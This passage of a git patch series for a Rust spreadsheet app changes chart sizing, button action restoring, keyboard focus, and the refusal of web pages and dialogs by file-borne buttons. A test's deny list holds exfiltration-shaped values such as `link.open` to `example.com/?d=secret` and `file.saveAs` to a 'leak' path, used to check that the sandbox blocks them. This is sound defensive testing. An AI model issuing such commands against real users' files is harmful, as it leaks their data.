+ let before = rect(&h, pic); + click(&mut h, before.left_top() + vec2(30.0, 30.0)); + let grab = Handle::Left.pos(before); + drag(&mut h, grab, grab + vec2(10.0, 0.0)); + // In window points (the grid draws at its zoom): 10 narrower, the left edge 10 further right. + let after = rect(&h, pic); + assert!((before.width() - after.width() - 10.0).abs() < 1.0, "narrower by the drag only: {before:?} {after:?}"); + assert!((after.left() - before.left() - 10.0).abs() < 1.0 && (after.top() - before.top()).abs() < 0.5, "{before:?} {after:?}"); + let a = anchor(&h, pic); + assert!(a.width > 11_900.0 && a.width < 12_000.0 && a.height.round() == 60.0, "no jump to the 10,000 limit: {a:?}"); +} From 05851de46c8fb83264c55aefa444dddede84c1dd Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 02:03:47 -0500 Subject: [PATCH 045/167] Objects: the Format Chart Size fields show a chart's real size and send only the edited dimension The Width and Height fields ranged 40 to 4,000 and sent both values on every edit. egui clamps an existing value into a field's range, so a chart a file made 12,000 wide showed "Width 4000", and typing a new height sent that 4,000 as the width: the chart shrank although only its height changed, and the cap `chart.set` keeps for an existing size cannot help once the pane itself sends 4,000. Each field's range now reaches the larger of 4,000 and the chart's current size, so the field shows the real size, and a commit sends only the dimension that differs from the chart's (`chart.set` reads `width` and `height` independently). Test (real input): the_size_fields_keep_an_oversized_imported_chart_width_when_the_height_changes reopens a workbook with a 12,000-wide chart, opens Format Chart Area's Size section, checks the Width field shows 12000 and types 201 as the height: the width stays 12,000, the height is 201 and the journaled chart.set carries no width. Without the fix the field shows "Width 4000". --- crates/ui-egui/src/panes.rs | 24 ++++++++++--- crates/ui-egui/tests/it/chart_resize.rs | 45 +++++++++++++++++++++++++ 2 files changed, 65 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/panes.rs b/crates/ui-egui/src/panes.rs index 69dbbe99f..9675d2a95 100644 --- a/crates/ui-egui/src/panes.rs +++ b/crates/ui-egui/src/panes.rs @@ -308,13 +308,29 @@ fn format_chart(app: &mut SheetApp, ui: &mut Ui) { ui.collapsing("Size", |ui| { // Keep the value being typed or dragged between frames; reloading it from the chart every frame threw the edit away. let draft = egui::Id::unique(("gridcraft.chart_size_draft", id)); - let (mut w, mut h) = ui.data_mut(|d| d.get_temp::<(f32, f32)>(draft)).unwrap_or((chart.anchor.width, chart.anchor.height)); - let a = ui.add(egui::DragValue::new(&mut w).prefix("Width ").range(40.0..=4000.0)); - let b = ui.add(egui::DragValue::new(&mut h).prefix("Height ").range(40.0..=4000.0)); + let current = (chart.anchor.width, chart.anchor.height); + let (mut w, mut h) = ui.data_mut(|d| d.get_temp::<(f32, f32)>(draft)).unwrap_or(current); + // A file can make a chart larger than the 4,000 points a field otherwise reaches. The + // range keeps such a size, so the field shows it instead of clamping it to 4,000. + let range = |v: f32| 40.0..=v.max(4000.0); + let a = ui.add(egui::DragValue::new(&mut w).prefix("Width ").range(range(current.0))); + let b = ui.add(egui::DragValue::new(&mut h).prefix("Height ").range(range(current.1))); if a.drag_stopped() || a.lost_focus() || b.drag_stopped() || b.lost_focus() { ui.data_mut(|d| d.remove::<(f32, f32)>(draft)); if !ui.input(|i| i.key_pressed(egui::Key::Escape)) { - app.run_or_alert("chart.set", json!({"chart": id, "width": w, "height": h})); + // Only an edited dimension is sent: the other keeps what the chart has, however + // large a file made it. + let mut params = serde_json::Map::new(); + params.insert("chart".into(), json!(id)); + if w != current.0 { + params.insert("width".into(), json!(w)); + } + if h != current.1 { + params.insert("height".into(), json!(h)); + } + if params.len() > 1 { + app.run_or_alert("chart.set", Json::Object(params)); + } } } else if a.dragged() || a.has_focus() || b.dragged() || b.has_focus() { ui.data_mut(|d| d.insert_temp(draft, (w, h))); diff --git a/crates/ui-egui/tests/it/chart_resize.rs b/crates/ui-egui/tests/it/chart_resize.rs index 2ae8707df..36934fbcb 100644 --- a/crates/ui-egui/tests/it/chart_resize.rs +++ b/crates/ui-egui/tests/it/chart_resize.rs @@ -118,6 +118,51 @@ fn dragging_the_size_field_resizes_the_chart() { assert!(w1 > w0 + 20.0, "width went from {w0} to {w1}"); } +/// Makes the chart 12,000 wide and reopens the workbook from its XLSX bytes, the way a file can +/// carry a chart larger than the 4,000 points the Size fields otherwise reach; returns its id. +fn imported_oversized_chart(h: &mut Harness, id: u32) -> u32 { + { + let wb = std::sync::Arc::make_mut(&mut h.state_mut().session.doc_mut().unwrap().wb); + wb.sheet_mut(0).unwrap().charts.iter_mut().find(|c| c.id == id).unwrap().anchor.width = 12_000.0; + } + let saved = h.state_mut().run("file.saveBytes", json!({"format": "xlsx"})).unwrap(); + h.state_mut().run("file.open", json!({"name": "wide.xlsx", "base64": saved["base64"]})).unwrap(); + h.run_steps(4); + let id = h.state().session.doc().unwrap().wb.active().unwrap().charts[0].id; + let (w, hh) = size(h, id); + assert_eq!((w.round(), hh.round()), (12_000.0, 200.0), "the reader keeps the file's size"); + id +} + +/// A chart a file made 12,000 wide shows that width in the Size fields, and a new height sends +/// the height alone, so nothing shrinks the width to the fields' 4,000 reach on the way. +#[test] +fn the_size_fields_keep_an_oversized_imported_chart_width_when_the_height_changes() { + let (mut h, id) = fixture(); + let id = imported_oversized_chart(&mut h, id); + open_size_fields(&mut h, id); + let (width_value, height_field) = { + let mut fields = h.get_all_by_role(Role::SpinButton); + let width = fields.next().unwrap(); + let height = fields.next().unwrap(); + (width.value(), height.rect()) + }; + assert!(width_value.as_deref().is_some_and(|v| v.contains("12000")), "the field shows the file's width: {width_value:?}"); + h.input_mut().events.push(Event::PointerMoved(height_field.center())); + button(&mut h, height_field.center(), true); + button(&mut h, height_field.center(), false); + for digit in ["2", "0", "1"] { + h.input_mut().events.push(Event::Text(digit.into())); + h.run_steps(2); + } + h.key_press(Key::Enter); + h.run_steps(2); + let (w, hh) = size(&h, id); + assert_eq!((w.round(), hh), (12_000.0, 201.0), "the width stays and the height is the typed one"); + let (_, p) = h.state().session.journal.iter().rev().find(|(cmd, _)| cmd == "chart.set").unwrap(); + assert!(p.get("width").is_none(), "a height edit sends no width: {p}"); +} + fn right_click(h: &mut Harness, pos: egui::Pos2, wobble: egui::Vec2) { h.input_mut().events.push(Event::PointerMoved(pos)); h.run_steps(2); From 975d5407a1058a3af455be40b6774d3de54edfaa Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 02:13:19 -0500 Subject: [PATCH 046/167] Form controls: a kept button action must carry the button's name and anchor cell An entry of the hidden name without `name` or `at`, or with something other than text there, skipped those checks (is_none_or) and could pin its action onto whatever button sat at the stored index. The writer always stores both keys, so such an entry is now dropped like an unparsable one (is_some_and); the doc comment says so. Test: a_kept_action_without_the_buttons_name_or_anchor_is_dropped (an entry without `name`, without `at`, with a number for `name` and with null for `at` gives the button no action and the hidden name is removed; the writer's own entry still comes back). --- crates/engine/src/cmd/controls.rs | 16 ++++++------ crates/engine/src/tests/controls.rs | 38 +++++++++++++++++++++++++++++ 2 files changed, 46 insertions(+), 8 deletions(-) diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs index 773262480..0e03f8f9f 100644 --- a/crates/engine/src/cmd/controls.rs +++ b/crates/engine/src/cmd/controls.rs @@ -571,7 +571,7 @@ pub(crate) fn sync_linked_values(wb: &mut Workbook) { // ---------------------------------------------------------------- xlsx /// The hidden-data key of the button actions xlsx has no place for. -const ACTIONS_KEY: &str = "control_actions"; +pub(crate) const ACTIONS_KEY: &str = "control_actions"; /// A button's action that xlsx carries itself: a macro on the selection (`macro="[0]!Name"`). fn plain(a: &ControlAction) -> bool { @@ -604,11 +604,11 @@ pub(crate) fn with_action_names(wb: &Workbook) -> Result> { } /// After a file is opened: gives buttons back the actions kept in the hidden name, and removes -/// it. Entries that don't parse, or don't match a button, are dropped: the button at the stored -/// place must have the stored name and anchor cell (another application may have added, removed -/// or reordered controls), and must not have been given another macro since (a stored macro -/// action comes back only on a button that still runs that macro, a stored command only on one -/// the file gives no macro). +/// it. Entries that don't parse, or don't match a button, are dropped: an entry must carry the +/// button's name and anchor cell, the button at the stored place must have that name and anchor +/// cell (another application may have added, removed or reordered controls), and it must not +/// have been given another macro since (a stored macro action comes back only on a button that +/// still runs that macro, a stored command only on one the file gives no macro). pub(crate) fn load_action_names(wb: &mut Workbook) { let Some(items) = stash::get_json(wb, ACTIONS_KEY) else { return }; stash::remove(wb, ACTIONS_KEY); @@ -624,8 +624,8 @@ pub(crate) fn load_action_names(wb: &mut Workbook) { let text = |k: &str| item.get(k).and_then(Json::as_str); let same = |c: &FormControl| { c.kind == ControlKind::Button - && text("name").is_none_or(|n| n == c.display_name()) - && text("at").is_none_or(|a| a == c.anchor.cell.a1()) + && text("name").is_some_and(|n| n == c.display_name()) + && text("at").is_some_and(|a| a == c.anchor.cell.a1()) && match (&c.action, &action) { (None, ControlAction::Command { .. }) => true, (Some(ControlAction::Macro { name: now, .. }), ControlAction::Macro { name: kept, .. }) => now.eq_ignore_ascii_case(kept), diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs index 8dce29fcd..e567fb913 100644 --- a/crates/engine/src/tests/controls.rs +++ b/crates/engine/src/tests/controls.rs @@ -429,6 +429,44 @@ fn a_kept_button_action_comes_back_only_on_the_same_button() { assert_eq!(cleared.sheets[0].controls[0].action, actions(&wb)[0], "the command comes back"); } +/// An entry of the hidden name must carry the button's name and anchor cell (the writer always +/// stores both): a hand-edited entry without either, or with something else there, is dropped +/// like an unparsable one, so it cannot pin its action onto whatever button sits at that index. +#[test] +fn a_kept_action_without_the_buttons_name_or_anchor_is_dropped() { + use crate::cmd::controls::{ACTIONS_KEY, load_action_names, with_action_names}; + use crate::cmd::stash; + let mut s = s(); + s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap(); + let stored = with_action_names(&s.doc().unwrap().wb).unwrap().unwrap(); + let items = stash::get_json(&stored, ACTIONS_KEY).unwrap(); + assert!(items[0]["name"].is_string() && items[0]["at"].is_string(), "the writer stores both keys: {items}"); + // As the file brings a command button back: with no action. + let kept = |items: &Json| { + let mut wb = stored.clone(); + wb.sheet_mut(0).unwrap().controls[0].action = None; + stash::remove(&mut wb, ACTIONS_KEY); + stash::set_json(&mut wb, ACTIONS_KEY, items).unwrap(); + load_action_names(&mut wb); + assert!(stash::get(&wb, ACTIONS_KEY).is_none(), "the hidden name is removed"); + wb.sheets[0].controls[0].action.clone() + }; + let edited = |key: &str, value: Option| { + let mut items = items.clone(); + let entry = items[0].as_object_mut().unwrap(); + match value { + Some(v) => entry.insert(key.to_string(), v), + None => entry.remove(key), + }; + items + }; + assert_eq!(kept(&edited("name", None)), None, "no `name`"); + assert_eq!(kept(&edited("at", None)), None, "no `at`"); + assert_eq!(kept(&edited("name", Some(json!(1)))), None, "`name` is not text"); + assert_eq!(kept(&edited("at", Some(Json::Null))), None, "`at` is null"); + assert!(matches!(kept(&items), Some(ControlAction::Command { .. })), "the writer's own entry still comes back"); +} + /// The saved xlsx bytes of `s`'s workbook. fn saved_xlsx(s: &mut Session) -> Vec { let r = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap(); From 36a44a35cb8c6478fea61fa2bef7a2c3b661a78b Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 02:20:48 -0500 Subject: [PATCH 047/167] Form controls: a button never opens a web page or a dialog A button's command ran through the macro policy and the file sandbox, but not through the macro runner's request filter, so a file-borne button assigned `link.open {url}` opened the page once the generic trust question was answered. Now `link.open` is refused for buttons up front, when it is assigned and when a file brings it in, with the wording of the other denied commands; and after a press runs its command, the UI requests it queued are checked as the macro runner checks a step's: a dialog or a web page makes the press fail with the reason and rolls the group back, a cell edit is dropped, and messages for the person stay queued. Tests: link.open joins a_denied_command_is_refused_when_assigned_and_when_a_file_brings_it_in (assign, insert and a file-borne press refuse it; no OpenUrl request is left), and a_button_command_that_would_open_a_dialog_or_a_page_is_refused_after_it_runs (insert.link with no parameters is refused with the dialog wording and its request dropped; the filter refuses a page, drops a cell edit and keeps messages). docs/macros.md says what a button's command may not do. --- crates/engine/src/cmd/controls.rs | 49 +++++++++++++++++++++++++++-- crates/engine/src/tests/controls.rs | 30 ++++++++++++++++++ docs/macros.md | 5 ++- 3 files changed, 80 insertions(+), 4 deletions(-) diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs index 0e03f8f9f..ac1c9d90f 100644 --- a/crates/engine/src/cmd/controls.rs +++ b/crates/engine/src/cmd/controls.rs @@ -369,6 +369,38 @@ fn format(s: &mut Session, p: &Json) -> Result { }) } +/// Commands a button never runs, beyond the macro policy's lists: a button has no way to show +/// what its command would open, so a web page is refused when the action is assigned or comes in +/// from a file. A command that turns out to open a page or a dialog when it runs is refused +/// then, by [`press`]. +const BUTTON_DENIED: &[(&str, &str)] = &[("link.open", "buttons don't open web pages")]; + +/// The macro policy for a button's command, with the button's own refusals first. +fn button_policy(id: &str, params: &Json, trust: crate::Trust) -> Policy { + match BUTTON_DENIED.iter().find(|(d, _)| *d == id) { + Some((_, why)) => Policy::Deny((*why).into()), + None => macro_policy(id, params, trust), + } +} + +/// Drops the UI requests a button's command queued from `queued` on, keeping messages for the +/// person, and says why the press is refused when one would open a dialog or a web page, which +/// buttons don't do (`name` is the button's). A cell edit the command asked for is dropped too. +pub(crate) fn take_requests(s: &mut Session, queued: usize, name: &str) -> Option { + use crate::UiRequest; + let mut blocked = None; + let asked: Vec = s.ui_requests.drain(queued.min(s.ui_requests.len())..).collect(); + for q in asked { + match q { + UiRequest::Dialog(d, _) => blocked = Some(format!("'{name}' would open the {d} dialog; give its command the parameters it needs.")), + UiRequest::OpenUrl(_) => blocked = Some(format!("'{name}' would open a web page, which buttons don't do.")), + UiRequest::EditCell(_) | UiRequest::InsertName(_) => {} + m @ UiRequest::Message(_) => s.ui_requests.push(m), + } + } + blocked +} + /// A button action from `macro` (with `input` and `output`) or `command` (with `params`). fn action_param(s: &Session, cmd: &str, p: &Json) -> Result> { if let Some(name) = str_param(p, "macro").map(str::trim).filter(|n| !n.is_empty()) { @@ -403,7 +435,7 @@ fn action_param(s: &Session, cmd: &str, p: &Json) -> Result Result { Some(ControlAction::Command { id, params }) => { let d = s.doc()?; let (doc, trust) = (d.uid, d.trust); - let policy = macro_policy(&id, ¶ms, trust); + let policy = button_policy(&id, ¶ms, trust); let file_command = matches!(policy, Policy::NeedsPermission(_)); let why = match policy { Policy::Allow => None, @@ -508,7 +540,18 @@ fn press(s: &mut Session, p: &Json) -> Result { // As a macro step: only an approved file command reaches the file system, so a // command that reads or writes a file under another parameter name can't. let _sandbox = (!file_command).then(crate::io::ScriptSandbox::enter); - s.grouped(&name, |s| s.execute(&id, params.clone())) + s.grouped(&name, |s| { + let queued = s.ui_requests.len(); + let r = s.execute(&id, params.clone()); + // As a macro step: a command that would open a dialog or a web page is refused + // and its group rolled back; messages for the person stay queued. + let blocked = take_requests(s, queued, &name); + let r = r?; + match blocked { + Some(why) => Err(EngineError::Other(why)), + None => Ok(r), + } + }) } } } diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs index e567fb913..5442aabde 100644 --- a/crates/engine/src/tests/controls.rs +++ b/crates/engine/src/tests/controls.rs @@ -625,6 +625,7 @@ fn a_denied_command_is_refused_when_assigned_and_when_a_file_brings_it_in() { let dir = std::env::temp_dir().join(format!("gridcraft-control-deny-{}", std::process::id())); let leak = dir.join("leak.xlsx").to_string_lossy().to_string(); let denied = [ + ("link.open", json!({"url": "https://example.com/?d=secret"})), ("file.saveAs", json!({"path": leak})), ("file.save", json!({})), ("file.open", json!({"path": leak})), @@ -665,6 +666,35 @@ fn a_denied_command_is_refused_when_assigned_and_when_a_file_brings_it_in() { } assert!(!std::path::Path::new(&leak).exists()); assert_eq!(v(&s, "A1"), Value::Empty, "the macro never ran"); + assert!(!s.ui_requests.iter().any(|r| matches!(r, crate::UiRequest::OpenUrl(_))), "no page was opened: {:?}", s.ui_requests); +} + +/// A command the policy allows may still turn out to open a dialog or a web page when it runs +/// (a command given no parameters opens its dialog): the press is refused with the reason, as a +/// macro step is, and the request is dropped, so nothing opens. Messages for the person pass. +#[test] +fn a_button_command_that_would_open_a_dialog_or_a_page_is_refused_after_it_runs() { + use crate::UiRequest; + use crate::cmd::controls::take_requests; + let mut s = s(); + let b = id(&s.execute("insert.button", json!({"at": "B2", "text": "Link", "command": "insert.link", "params": {}})).unwrap()); + let before = undo_len(&s); + let name = control(&s, b).display_name(); + assert_eq!( + err(s.execute("control.press", json!({"id": b}))), + format!("'{name}' would open the insertLink dialog; give its command the parameters it needs.") + ); + assert!(!s.ui_requests.iter().any(|r| matches!(r, UiRequest::Dialog(..))), "{:?}", s.ui_requests); + assert_eq!(undo_len(&s), before, "nothing stays done"); + // The filter itself, with every kind of request a command can queue: the page is refused, + // the cell edit is dropped, the message stays, and requests queued before are left alone. + s.ui_requests.push(UiRequest::Message("earlier".into())); + let queued = s.ui_requests.len(); + s.ui_requests.extend([UiRequest::EditCell(None), UiRequest::Message("saved".into()), UiRequest::OpenUrl("https://example.com/".into())]); + assert_eq!(take_requests(&mut s, queued, "Go").as_deref(), Some("'Go' would open a web page, which buttons don't do.")); + assert_eq!(s.ui_requests, vec![UiRequest::Message("earlier".into()), UiRequest::Message("saved".into())]); + assert_eq!(take_requests(&mut s, 5, "Go"), None, "a mark past the queue's end drops nothing"); + assert_eq!(s.ui_requests.len(), 2); } /// Using a slider or spin button writes its linked cell through `cell.set`, so the cell's diff --git a/docs/macros.md b/docs/macros.md index 8073b2fcd..b4937fcbe 100644 --- a/docs/macros.md +++ b/docs/macros.md @@ -263,7 +263,10 @@ default) or always on one range (`input: "B2:D9"`), with an optional output cell {id, command, params}` makes it run a command with fixed parameters. A macro runs through `macro.run` with its checks; a command goes through the same policy as a macro step and runs, as a step does, inside the scripts' file sandbox unless it is an approved file command, so a button -in a workbook opened from a file asks before it runs anything. +in a workbook opened from a file asks before it runs anything. Like a step, a button's command +never opens a web page or a dialog: `link.open` is refused when it is assigned or comes in from +a file, and a command that would open a dialog or a page once it runs (a command given no +parameters opens its dialog) is refused then, with the request dropped and nothing done. In xlsx a button carries its macro as Excel writes it (`macro="[0]!Name"`, a macro run on the selection). A command, a fixed input range or an output cell has no place there and is kept in a From be0882a148d087139d8275005da5e80587ce943e Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 02:22:18 -0500 Subject: [PATCH 048/167] Form controls: a button gives the keyboard back when the grid takes a key or a click A click on a button focused it, and the focus stayed while the grid moved the cell cursor with the arrows, Tab or Delete, or opened a cell's menu with a right-click, so a later Enter or Space pressed the button again without a new click, and Space could not start a cell edit. Now a key press the focused button doesn't take (any key but Space, Enter and Escape, or one with Ctrl, Cmd or Alt) gives the keyboard back to the grid, and any press that isn't a left click on the grid, a right-click on a cell included, moves the focus off a control. A slider or spin button keeps the keyboard as the control last worked. Tests (kittest): a_button_gives_the_keyboard_back_when_the_grid_takes_a_key (arrow, then Enter moves the cursor and does not press; arrow, then Space starts a cell edit; Cmd+arrow takes the keyboard too) and a_right_click_on_a_cell_takes_the_keyboard_from_a_button. docs/ui-parity.md says so. --- crates/ui-egui/src/form_controls.rs | 14 ++++- crates/ui-egui/src/grid/keyboard.rs | 9 ++- crates/ui-egui/tests/it/form_controls.rs | 77 +++++++++++++++++++++++- docs/ui-parity.md | 2 +- 4 files changed, 95 insertions(+), 7 deletions(-) diff --git a/crates/ui-egui/src/form_controls.rs b/crates/ui-egui/src/form_controls.rs index fb6d41c03..10b6388b2 100644 --- a/crates/ui-egui/src/form_controls.rs +++ b/crates/ui-egui/src/form_controls.rs @@ -306,8 +306,9 @@ pub fn interact(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Response, return true; } if !pointer.primary_pressed() || !resp.contains_pointer() { - // Any other press on the grid moves the focus off the control. - if pointer.any_pressed() && app.grid.focused_control.is_some() && !resp.contains_pointer() { + // Any other press, on the grid (a right-click on a cell) or off it, moves the focus off + // the control, so a later Enter or Space doesn't work it. + if pointer.any_pressed() && app.grid.focused_control.is_some() { app.grid.focused_control = None; } return false; @@ -356,6 +357,15 @@ fn step_part(app: &mut SheetApp, c: &FormControl, part: Part) { }; } +/// The grid takes a key while a control is focused: a button gives the keyboard back, so a later +/// Enter or Space doesn't press it again and Space starts a cell edit; a slider or spin button +/// keeps it, as the control last worked, which the arrows still step. +pub fn key_to_grid(app: &mut SheetApp, sh: &Sheet) { + if app.grid.focused_control.and_then(|id| find(sh, id)).is_some_and(|c| c.kind == ControlKind::Button) { + app.grid.focused_control = None; + } +} + /// Keys for the focused control: arrows move by a step, Page Up and Page Down by a page, Home and /// End to the ends; Space or Enter presses a button. True when the key was used. `repeat` is a key /// held down: it steps a slider or spin button again, but a button runs once per press. diff --git a/crates/ui-egui/src/grid/keyboard.rs b/crates/ui-egui/src/grid/keyboard.rs index 81f4b432f..f72badef6 100644 --- a/crates/ui-egui/src/grid/keyboard.rs +++ b/crates/ui-egui/src/grid/keyboard.rs @@ -166,12 +166,17 @@ fn grid_events(app: &mut SheetApp, ctx: &egui::Context, sh: &Sheet) -> Vec bool { match ev { egui::Event::Text(text) => text == " " && app.grid.focused_control.is_some() && app.selected_object.is_none(), egui::Event::Key { key, pressed: true, repeat, modifiers: m, .. } => { - !m.command && !m.ctrl && !m.alt && crate::form_controls::key(app, sh, *key, *repeat) + if !m.command && !m.ctrl && !m.alt && crate::form_controls::key(app, sh, *key, *repeat) { + return true; + } + crate::form_controls::key_to_grid(app, sh); + false } _ => false, } diff --git a/crates/ui-egui/tests/it/form_controls.rs b/crates/ui-egui/tests/it/form_controls.rs index ad13818a1..325ad1a29 100644 --- a/crates/ui-egui/tests/it/form_controls.rs +++ b/crates/ui-egui/tests/it/form_controls.rs @@ -90,11 +90,29 @@ fn click(h: &mut Harness, p: Pos2) { } fn key(h: &mut Harness, key: Key) { - h.input_mut().events.push(Event::Key { key, physical_key: None, pressed: true, repeat: false, modifiers: Modifiers::NONE }); - h.input_mut().events.push(Event::Key { key, physical_key: None, pressed: false, repeat: false, modifiers: Modifiers::NONE }); + key_with(h, key, Modifiers::NONE); +} + +fn key_with(h: &mut Harness, key: Key, modifiers: Modifiers) { + h.input_mut().events.push(Event::ModifiersChanged(modifiers)); + h.input_mut().events.push(Event::Key { key, physical_key: None, pressed: true, repeat: false, modifiers }); + h.input_mut().events.push(Event::Key { key, physical_key: None, pressed: false, repeat: false, modifiers }); + h.input_mut().events.push(Event::ModifiersChanged(Modifiers::NONE)); h.run_steps(2); } +/// A Space press as the system sends it: the key and the space it types. +fn space(h: &mut Harness) { + h.input_mut().events.push(Event::Key { key: Key::Space, physical_key: None, pressed: true, repeat: false, modifiers: Modifiers::NONE }); + h.input_mut().events.push(Event::Text(" ".into())); + h.input_mut().events.push(Event::Key { key: Key::Space, physical_key: None, pressed: false, repeat: false, modifiers: Modifiers::NONE }); + h.run_steps(2); +} + +fn active(h: &Harness) -> String { + h.state().session.doc().unwrap().selection.active.a1() +} + fn thumb(h: &Harness, id: u32) -> Rect { let c = control(h, id); slider_parts(rect(h, id), &c, 1.0).1 @@ -269,6 +287,61 @@ fn holding_enter_or_space_presses_a_focused_button_once() { } } +/// A button holds the keyboard only until the grid takes a key: after an arrow (or Cmd+arrow) +/// moves the cursor, Enter moves it again instead of pressing the button a second time, and +/// Space starts a cell edit. +#[test] +fn a_button_gives_the_keyboard_back_when_the_grid_takes_a_key() { + let (mut h, ids) = fixture(); + let r = rect(&h, ids.button); + click(&mut h, r.center()); + assert_eq!(cell(&h, "H1"), Value::text("pressed")); + let runs = undo_len(&h); + assert_eq!(active(&h), "A20"); + key(&mut h, Key::ArrowDown); + assert_eq!(active(&h), "A21", "the arrow moved the cursor"); + assert_eq!(h.state().grid.focused_control, None, "and took the keyboard from the button"); + key(&mut h, Key::Enter); + assert_eq!(undo_len(&h), runs, "Enter did not press the button again"); + assert_eq!(active(&h), "A22", "it moved the cursor"); + // Space after an arrow starts a cell edit. + click(&mut h, r.center()); + assert_eq!(undo_len(&h), runs + 1, "the click pressed it"); + key(&mut h, Key::ArrowDown); + space(&mut h); + assert!(h.state().editor.is_some(), "Space starts editing the cell"); + assert_eq!(undo_len(&h), runs + 1, "Space did not press the button"); + key(&mut h, Key::Escape); + assert!(h.state().editor.is_none()); + // A key with a modifier the grid takes (Cmd+arrow jumps to the edge) takes the keyboard too. + click(&mut h, r.center()); + assert_eq!(h.state().grid.focused_control, Some(ids.button)); + key_with(&mut h, Key::ArrowUp, Modifiers::COMMAND); + assert_eq!(h.state().grid.focused_control, None); + assert_eq!(active(&h), "A1"); +} + +/// A right-click on a cell takes the keyboard from a button, like any other click on the grid: +/// the Enter that follows does not press it again. +#[test] +fn a_right_click_on_a_cell_takes_the_keyboard_from_a_button() { + let (mut h, ids) = fixture(); + let r = rect(&h, ids.button); + click(&mut h, r.center()); + let runs = undo_len(&h); + assert_eq!(h.state().grid.focused_control, Some(ids.button)); + let on_a_cell = Pos2::new(r.right() + 300.0, r.bottom() + 100.0); + h.run_steps(30); + button(&mut h, on_a_cell, true, PointerButton::Secondary, Modifiers::NONE); + button(&mut h, on_a_cell, false, PointerButton::Secondary, Modifiers::NONE); + h.run_steps(2); + assert_eq!(h.state().selected_object, None, "a cell, not an object"); + assert_eq!(h.state().grid.focused_control, None, "the right-click took the keyboard"); + key(&mut h, Key::Enter); + assert_eq!(undo_len(&h), runs, "Enter did not press the button again"); + assert_eq!(cell(&h, "H1"), Value::text("pressed")); +} + #[test] fn a_button_from_a_file_asks_before_it_runs() { use egui_kittest::kittest::Queryable as _; diff --git a/docs/ui-parity.md b/docs/ui-parity.md index b4a0b7d9a..b3c467e5e 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -69,7 +69,7 @@ this logic, with one undo step. | Copy as HTML table for other apps | done (#36, 10-10) | | Context menu on cells | 16 items (Cut, Copy, Paste, Paste Special, Insert, Delete, Clear Contents, Filter by value, Sort, New Comment, New Note, Format Cells, Pick From Drop-down List, Define Name, Link). Insert Copied Cells (Insert Cut Cells for whole rows/columns) while the clipboard holds a copy (#21). Show Details on a PivotTable's value, subtotal or grand total cell (`pivot.showDetails`). Missing: Insert Cut Cells for a cell block, paste-option icons, Quick Analysis, Get Data from Table, Show Changes, Smart Lookup | | Move and resize charts, pictures and shapes | done (#190, #213): charts, pictures, shapes and slicers select with a frame of eight handles; each handle resizes only its own edges (they never cross), the body moves the object, and the pointer shows a resize or move cursor; Delete or Backspace deletes the selected object and Escape drops the selection; double-click edits a text box, opens Format Chart for a chart. Rotation handle, Shift for proportional resizing, Alt to snap to cells and multi-object selection missing | -| Form controls: buttons, scroll bars (sliders), spin buttons | done (10-31): Insert › Controls (Button, Slider, Spin Button; Excel has them under Developer › Insert) places one by a drag, or at its default size by a click; a click works a control: drag the thumb, page on the track, click or hold an arrow (a drag or a hold is one undo step), press a button, which runs a macro or a command and asks first in a workbook opened from a file; the control last worked takes the arrows, Page Up and Page Down, Home, End, and Space or Enter; Ctrl or Cmd+click or a right-click selects it to move or resize; its menu has Edit Text, Assign Action, Format Control and Delete. Check boxes, option buttons, list boxes and drop-downs (form controls) are kept from files but not shown | +| Form controls: buttons, scroll bars (sliders), spin buttons | done (10-31): Insert › Controls (Button, Slider, Spin Button; Excel has them under Developer › Insert) places one by a drag, or at its default size by a click; a click works a control: drag the thumb, page on the track, click or hold an arrow (a drag or a hold is one undo step), press a button, which runs a macro or a command and asks first in a workbook opened from a file; the control last worked takes the arrows, Page Up and Page Down, Home, End, and Space or Enter (a button gives the keyboard back as soon as the grid takes a key or a right-click); Ctrl or Cmd+click or a right-click selects it to move or resize; its menu has Edit Text, Assign Action, Format Control and Delete. Check boxes, option buttons, list boxes and drop-downs (form controls) are kept from files but not shown | | Context menus on row/column headers, sheet tabs, charts, shapes | headers and tabs done; objects partial | | Quick Analysis (Ctrl+Q) | missing | | Smooth scrolling, scrollbars | done; vertical scrollbar added 10-09 (#73); horizontal scrollbar in the tab bar (60/40 split, drag, track click pages) 10-13 (#176, #840); dragging the handle at the scrollbar's left edge gives the tabs more or less of the bar; each workbook keeps its share while it is open (not saved in the file) | From 8495cc99e151f8fd61a0e767f7eedacd8a74a3ca Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 02:41:19 -0500 Subject: [PATCH 049/167] Form controls: Space on a focused slider or spin button starts a cell edit The space a Space press types was dropped while any control was focused, because Space presses a focused button. A slider or spin button doesn't take Space, so with one focused Space neither worked the control nor started a cell edit, while every other character did. Now the space is dropped only for a focused button; on a slider or spin button it reaches the grid like any other character and starts a cell edit. The control keeps the keyboard, as the control last worked: Space is a key it doesn't take, exactly like a letter, and letting go on Space alone would make Space differ from every other printable key. Test (kittest): space_starts_a_cell_edit_while_a_slider_or_spin_button_is_focused (a cell edit starts with a space, the control's value is unchanged, Escape cancels, the arrows still step it). docs/ui-parity.md says so. --- crates/ui-egui/src/form_controls.rs | 9 +++++++- crates/ui-egui/src/grid/keyboard.rs | 9 ++++---- crates/ui-egui/tests/it/form_controls.rs | 26 ++++++++++++++++++++++++ docs/ui-parity.md | 2 +- 4 files changed, 40 insertions(+), 6 deletions(-) diff --git a/crates/ui-egui/src/form_controls.rs b/crates/ui-egui/src/form_controls.rs index 10b6388b2..27385847f 100644 --- a/crates/ui-egui/src/form_controls.rs +++ 